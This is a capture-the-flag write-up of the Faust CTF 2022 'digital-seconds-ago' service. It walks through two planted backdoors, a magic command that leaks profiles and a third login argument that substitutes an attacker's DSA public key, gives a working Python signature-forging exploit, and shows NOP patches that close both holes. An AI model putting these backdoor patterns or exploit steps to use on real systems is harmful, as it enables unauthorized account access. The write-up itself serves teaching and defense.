digital-seconds-ago is a CLI binary that was part of Faust CTF 2022. During the CTF, two distinctive exploits emerged. Unfortunately, we did not manage to replicate the second, more complex exploit during the event. When we tried again after some days of rest, we had better luck!

Service Overview

The binary provided is a CLI application that provides an interactive registration system. Instead of handling passwords, users are asked to provide a public key on registration.

When attempting to log in, the binary emits a random 64-bit challenge. Users are then asked to provide a valid signature for the challenge, matching the stored public key of the user they are trying to log in as.

On registration, users are also asked to provide a profile text, only visible to themselves.

Network Analysis

The binary is invoked via an on-demand systemd-socket service on port 13731.

Observing the traffic, we realized that the game server is planting flags by registering random users and depositing the flag inside the user’s profile text. Our goal is to access these profiles without access to the user’s private key. A list of all registered users is printed when requested in the application’s main menu.

$ register
enter the username: DSAZOYPCNFQTEMPPEQCOFON
enter the public key: 28dcec75562c547033a5217105768703ea5108cb271515ebd1e0442b33721d1f2433e7a88b28f6276deb6b5392111355cd0457e8d05fb40b61e30d5267356cd9ecdecd948644a4e52a3afe99ca3f29002d00fa1ff8595c45078b7db58a57763339d30eaf70175c475c3d38860413c451b8a0af9c025a6270b628de37df210d1b
enter the profile: FAUST_Q1RGLSWIMhFTRV7PRp499A4H/R3ztG2Q
username: DSAZOYPCNFQTEMPPEQCOFON
public key: 28dcec75562c547033a5217105768703ea5108cb271515ebd1e0442b33721d1f2433e7a88b28f6276deb6b5392111355cd0457e8d05fb40b61e30d5267356cd9ecdecd948644a4e52a3afe99ca3f29002d00fa1ff8595c45078b7db58a57763339d30eaf70175c475c3d38860413c451b8a0af9c025a6270b628de37df210d1b
profile: FAUST_Q1RGLSWIMhFTRV7PRp499A4H/R3ztG2Q
register successful!
$ exit

The game server is then querying the user’s profile text to validate the service’s health.

$ login
enter the username: DSAZOYPCNFQTEMPPEQCOFON
challenge: 15aa7d534233ba7f
answer in the form of R,S: 4e4f3786495ce7953c4a17ba0529f42f3f15c67d,738fd7e75ea979646f2faf06cb94465946f08c56
user DSAZOYPCNFQTEMPPEQCOFON's profile is FAUST_Q1RGLSWIMhFTRV7PRp499A4H/R3ztG2Q
$ digital-seconds-ago: fail to get command

Exploit #1 - Backdoor Command

Upon further network analysis, we noticed ongoing attacks against our service. Instead of issuing one of the service’s documented commands, the attackers sent a seemingly random 12-letter string. The service then responded with the two most recent user profiles, effectively leaking flags.

$ abcdeffedcba
... ok, but only 2 past seconds
|DSAVKWOXQPLRDRKAYLMFEAF|FAUST_Q1RGLSWIzDVTRU0nRp4ibFmCR7DOJsGF|
|DSAJCKVGNLVCQAHZKTTZIAQ|FAUST_Q1RGLSWIzflTRUt/Rp5zIKcwr6bSK2S3|

Exploit #2 - Backdoor Public Key

Later in the event, we noticed another attack. The attackers initiated a login to each of the flag users’ accounts. When prompted to provide a signature in the form of R,S, the attackers provided a third argument. This third argument was then interpreted as a public key, and the signature verified against this public key instead of the public key of the user they were trying to log in as.

$ users
|DSAFFXHFRQEQSWEHUMYQRXH|
|DSADLSXPZWFNIMOKDRGFCLS|
$ login
enter the username: DSAFFXHFRQEQSWEHUMYQRXH
challenge: 0554accb2355570c
answer in the form of R,S: 1,e1aa6389abf9f6aea589443effba97ea425b57d0,787bbe901050a4c46226bbe254d1f56d8dcadbf11eb4dc8947bba93cd064281fed3f352821a8e6f632af4f3032018857ee9b78f7c2c2bc3edc6e7c37f56b1230f15be369d209ddb1ee41e2e7da89207e2e29061fb94897cbf23460761bf2475f2528fee64747e90c081313617a47f33196e810ac87a9bcfbe1c2e35724e81516
user DSAFFXHFRQEQSWEHUMYQRXH's profile is FAUST_Q1RGLSWIomVTRqvBRp4Cz/1hnut77BP1

Binary Analysis

Equipped with the knowledge of these attacks, we were able to quickly identify the functions of interest.

Exploit #1

On comparing the user input against a list of documented commands, an additional is_backdoor_command(input) function is checked:

if (!strncmp(input, command->name, 16)) {
    commands[i].func();
} else if (is_backdoor_command(input)) {
    cmd_backdoor();
} else if (++i < 6) {
    ++command;
} else {
    puts("unknown command");
    break;
}

A valid backdoor command must adhere to the following format:

bool is_backdoor_command(const char *cmd) {
    size_t cmd_len = strlen(cmd);
    if (cmd_len == 12
        && cmd[0] != cmd[1]
        && cmd[2] != cmd[5]
        && cmd[3] != cmd[4]
        && cmd[0] == cmd[11]
        && cmd[1] == cmd[10]
        && cmd[2] == cmd[9]
        && cmd[3] == cmd[8]
        && cmd[4] == cmd[7]
        && cmd[5] == cmd[6]
            ) {
        puts("... ok, but only 2 past seconds");
        return true;
    }
    return false;
}

When a valid backdoor command is provided, the server responds with the two most recent user profiles:

void cmd_backdoor() {
    sqlite3_stmt *stmt;
    if (sqlite3_prepare_v2(g_db_handle, SQL_LIST_PROFILES, -1, &stmt, NULL) != SQLITE_OK) {
        puts("wrong");
    }

    while (sqlite3_step(stmt) == SQLITE_ROW) {
        const char *user_name = (const char *) sqlite3_column_text(stmt, 0);
        const char *user_profile = (const char *) sqlite3_column_text(stmt, 1);
        printf("|%s|%s|\n", user_name, user_profile);
    }
    sqlite3_finalize(stmt);
}

Since the format of valid backdoor commands doesn’t depend on the user, it’s trivial to replicate the attack.

Exploit #2

Signature Verification

Unlike the first exploit, the second exploit requires a deeper understanding of the service’s authentication scheme. On attempting to log in to a user account, an attacker is expected to sign a random 64-bit-challenge generated by the server. The server then verifies the signature against the public key of the user account.

By inspecting the signature validation logic, we were able to classify the scheme used as 1024-bit DSA:

bool verify_signature(const char *r, const char *s, const char *challenge, const char *pubkey)
{
    mpz_t r_mpz;
    mpz_t s_mpz;
    mpz_t challenge_mpz;
    mpz_t pubkey_mpz;

    mpz_init_set_str(r_mpz, r, 16);
    mpz_init_set_str(s_mpz, s, 16);
    mpz_init_set_str(challenge_mpz, challenge, 16);
    mpz_init_set_str(pubkey_mpz, pubkey, 16);

    mpz_t null_mpz;
    mpz_init_set_ui(null_mpz, 0);

    if (mpz_congruent_p(r_mpz, null_mpz, g_dsa_params_q_mpz)) {
        // r is not in the range [1, q-1]
        return false;
    }

    if (mpz_congruent_p(s_mpz, null_mpz, g_dsa_params_q_mpz)) {
        // s is not in the range [1, q-1]
        return false;
    }

    if (mpz_congruent_p(pubkey_mpz, null_mpz, g_dsa_params_q_mpz)) {
        // pubkey is not in the range [1, q-1]
        return false;
    }

    mpz_t w_mpz;
    mpz_t v_1_mpz;
    mpz_t v_2_mpz;
    mpz_t u1_mpz;
    mpz_t u2_mpz;

    mpz_inits(w_mpz, v_1_mpz, v_2_mpz, u1_mpz, u2_mpz, NULL);

    // w := s^-1 mod q
    mpz_invert(w_mpz, s_mpz, g_dsa_params_q_mpz);

    // u1 := H(m) * w mod q
    mpz_mul(u1_mpz, challenge_mpz, w_mpz);
    mpz_mod(u1_mpz, u1_mpz, g_dsa_params_q_mpz);

    // u2 := r * w mod q
    mpz_mul(u2_mpz, r_mpz, w_mpz);
    mpz_mod(u2_mpz, u2_mpz, g_dsa_params_q_mpz);

    // v := (g^u1 * y^u2 mod p) mod q
    mpz_powm(v_1_mpz, g_dsa_params_g_mpz, u1_mpz, g_dsa_params_p_mpz);
    mpz_powm(v_2_mpz, pubkey_mpz, u2_mpz, g_dsa_params_p_mpz);

    mpz_mul(w_mpz, v_1_mpz, v_2_mpz);
    mpz_mod(w_mpz, w_mpz, g_dsa_params_q_mpz);

    // if w == r mod q, then the signature is valid
    bool valid = mpz_congruent_p(w_mpz, r_mpz, g_dsa_params_q_mpz);
    mpz_clears(r_mpz, s_mpz, challenge_mpz, pubkey_mpz, w_mpz, v_1_mpz, v_2_mpz, u1_mpz, u2_mpz);

    return valid;
}

To increase the hurdle for an analyst, the following custom DSA parameters are used:

// DSA modulus
#define DSA_PARAMS_P_1024 "008cc0e9d5af02471e2ac849c203fd4f7926a01d6d38237ea7746b876c01984d8\
335705e429cd68ea00d7f68f4afe048c48c4d8438f6ebb9b0d961ae2bfd131131\
9ebeabbd9aa03965ec43b652cbdfbda67ea2aadf5f11cc86cda4a69fdb30cb6cd\
354cf0ab94939e61aac4be4233b483c7e09e835c338fd149209d6c893d9f4c7"

// DSA subgroup order
#define DSA_PARAMS_Q_160 "008937dd8af446507ec33f3a97af6c7477f8b14b9d"

// DSA generator
#define DSA_PARAMS_G "46466077b24e86560b15390992c7beaa9b7e7ddeaece76f929f6d41e2b3ab2937\
744745330eac965a746e125f52a70cc7dcdb067d372bf9643405ca49300e9865c\
47fd29f756c6c7b34497173878b911de43cacd96257956befa02bcd6a50600930\
99c9d253b50839b0db14080461e53f9ef697ff4fc65b18a4d41c03c64fa57"

void init(int argc, char *argv[]) {
    // Initialize GMP constants
    mpz_init_set_str(g_dsa_params_p_mpz, DSA_PARAMS_P_1024, 16);
    mpz_init_set_str(g_dsa_params_q_mpz, DSA_PARAMS_Q_160, 16);
    mpz_init_set_str(g_dsa_params_g_mpz, DSA_PARAMS_G, 16);
    ...
}

When comparing the implementation to various reference implementations, we didn’t find any obvious differences or flaws.

Another backdoor

The second backdoor is hidden in the cmd_login flow. Instead of supplying the signature in the expected format R,S, an attacker can pass a third argument. This argument is then interpreted as a DSA public key and used to validate the signature:

void cmd_login() {
    char user_name[34];
    read_line("enter the username: ",
              user_name,
              sizeof(user_name),
              "fail to read username"
    );

    struct user_data *user = fetch_user(user_name);
    if (!user) {
        exit_with_error("fail to find user");
    }

    char challenge[16];
    if (!generate_random_challenge(challenge, sizeof(challenge))) {
        exit_with_error("fail to generate challenge");
    }

    printf("challenge: %s\n", challenge);

    char r[44];
    char s[44];
    char backdoor_pubkey[258];
    char *pubkey = backdoor_pubkey;
    if (!get_challenge_response(r, s, backdoor_pubkey)) {
        puts("invalid signature format");
    } else {
        if (!backdoor_pubkey[0]) {
            // No backdoor pubkey, so we can just use the users pubkey.
            pubkey = user->pubkey;
        }

        if (!verify_signature(r, s, challenge, pubkey)) {
            puts("invalid signature");
        } else {
            printf("user %s's profile is %s\n", user->name, user->profile);
        }
    }
    free(user);
}

The actual parsing of the signature response is happening in get_challenge_response:

bool get_challenge_response(char *r, char *s, char *backdoor_pubkey) {
    char response[354];
    read_line("answer in the form of R,S: : ",
              response,
              sizeof(response),
              "fail to retain response"
    );

    size_t response_len = strlen(response);
    char *first_comma_pos = strchr(response, ',');
    if (!first_comma_pos) {
        puts("no comma found");
        return false;
    }
    size_t r_length = first_comma_pos - response;
    if (r_length > 44) {
        puts("signature too long");
        return false;
    }

    strncpy(r, response, r_length);
    r[r_length] = '\0';

    if (!is_hex_string(r)) {
        puts("not all hexadecimal");
        return false;
    }

    // Usually, s is the last part of the response.
    size_t s_length = response_len - r_length - 1;
    char * second_comma_pos = strchr(first_comma_pos + 1, ',');
    if (second_comma_pos) {
        // If there is a second comma, it delimits s and the backdoor pubkey.
        s_length = second_comma_pos - first_comma_pos - 1;
    }

    if (s_length > 44) {
        puts("signature too long");
        return false;
    }

    strncpy(s, first_comma_pos + 1, s_length);
    s[s_length] = '\0';

    if (!is_hex_string(s)) {
        puts("not all hexadecimal");
        return false;
    }

    if (second_comma_pos) {
        size_t backdoor_pubkey_len = response_len - r_length - s_length - 2;
        strncpy(backdoor_pubkey, second_comma_pos + 1, backdoor_pubkey_len);
        backdoor_pubkey[backdoor_pubkey_len] = '\0';

        if (!is_hex_string(backdoor_pubkey)) {
            return false;
        }
    }
    return true;
}

This second backdoor reduces the attack surface by allowing any user to login, provided that they are able to generate a valid signature for their own public key.

Generating DSA signatures

To generate a DSA signature accepted by the service, we need to keep the custom DSA parameters used in mind. We also want to directly sign the challenge, rather than hash it.

Since the challenge denotes a 64-bit value, and the usage of any 64-bit hashes is highly discouraged, we had to jump through some hoops to convince a carefully designed crypto library to sign it.

We finally prevailed, obtaining the following, working exploit:

from typing import Tuple
from cryptography.hazmat.primitives.asymmetric.dsa import DSAParameterNumbers, DSAPublicKey, DSAPrivateKey
from cryptography.hazmat.primitives.asymmetric.utils import Prehashed, decode_dss_signature
from cryptography.hazmat.primitives.hashes import HashAlgorithm

# Custom DSA parameters extracted from the CTF challenge
dsa_params_p = 0x008cc0e9d5af02471e2ac849c203fd4f7926a01d6d38237ea7746b876c01984d8335705e429cd68ea00d7f68f4afe048c48c4d8438f6ebb9b0d961ae2bfd1311319ebeabbd9aa03965ec43b652cbdfbda67ea2aadf5f11cc86cda4a69fdb30cb6cd354cf0ab94939e61aac4be4233b483c7e09e835c338fd149209d6c893d9f4c7
dsa_params_q = 0x008937dd8af446507ec33f3a97af6c7477f8b14b9d
dsa_params_g = 0x46466077b24e86560b15390992c7beaa9b7e7ddeaece76f929f6d41e2b3ab2937744745330eac965a746e125f52a70cc7dcdb067d372bf9643405ca49300e9865c47fd29f756c6c7b34497173878b911de43cacd96257956befa02bcd6a5060093099c9d253b50839b0db14080461e53f9ef697ff4fc65b18a4d41c03c64fa57


class ChallengeHash(HashAlgorithm):
    """64-bit hash stub to satisfy the cryptography library"""
    name = "cha8"
    digest_size = 8
    block_size = 8


def get_pub_bytes(public_key: DSAPublicKey) -> str:
    """Return the public key as a hex string"""
    y = public_key.public_numbers().y
    return y.to_bytes(1024 // 8, 'big').hex()


def generate_keypair() -> Tuple[DSAPublicKey, DSAPrivateKey]:
    """Generate a DSA keypair with the custom parameters extracted from the CTF challenge"""
    custom_parameters = DSAParameterNumbers(dsa_params_p, dsa_params_q, dsa_params_g).parameters()
    private_key = custom_parameters.generate_private_key()
    public_key = private_key.public_key()

    return public_key, private_key


def sign_challenge(private_key: DSAPrivateKey, challenge: str) -> Tuple[int, int]:
    """Sign the prehashed 64-bit-challenge and return the signature as r, s"""
    chosen_hash = ChallengeHash()
    challenge_bytes = bytes.fromhex(challenge)

    signature = private_key.sign(
        challenge_bytes,
        Prehashed(chosen_hash)
    )

    # Decode the signature and return it as r, s
    return decode_dss_signature(signature)


def main():
    # Generate a random DSA keypair
    public_key, private_key = generate_keypair()
    y = get_pub_bytes(public_key)

    while True:
        # Interactively ask the user for a challenge
        challenge = input("Challenge: ")

        # Sign the challenge
        r, s = sign_challenge(private_key, challenge)

        # Print the signature as required by the CTF challenge
        print("Pass this to the challenge binary:  (r, s, y):")
        print(f"{r:02x},{s:02x},{y}")


if __name__ == '__main__':
    main()

Patching the Service

Patching the service turned out to be straightforward. By placing some carefully considered NOPs at 0x000023ff and 0x0000373d in the binary, we can prevent both backdoors from being triggered:

mov     rdi, rbp
call    check_backdoor_str
test    eax, eax
nop     ; never call the backdoor
nop     

cmp     byte [rsp+0xb0], 0x0
mov     rcx, rbx
nop     ; never branch
nop     
lea     rcx, [rbp+0x22] ; always use stored public key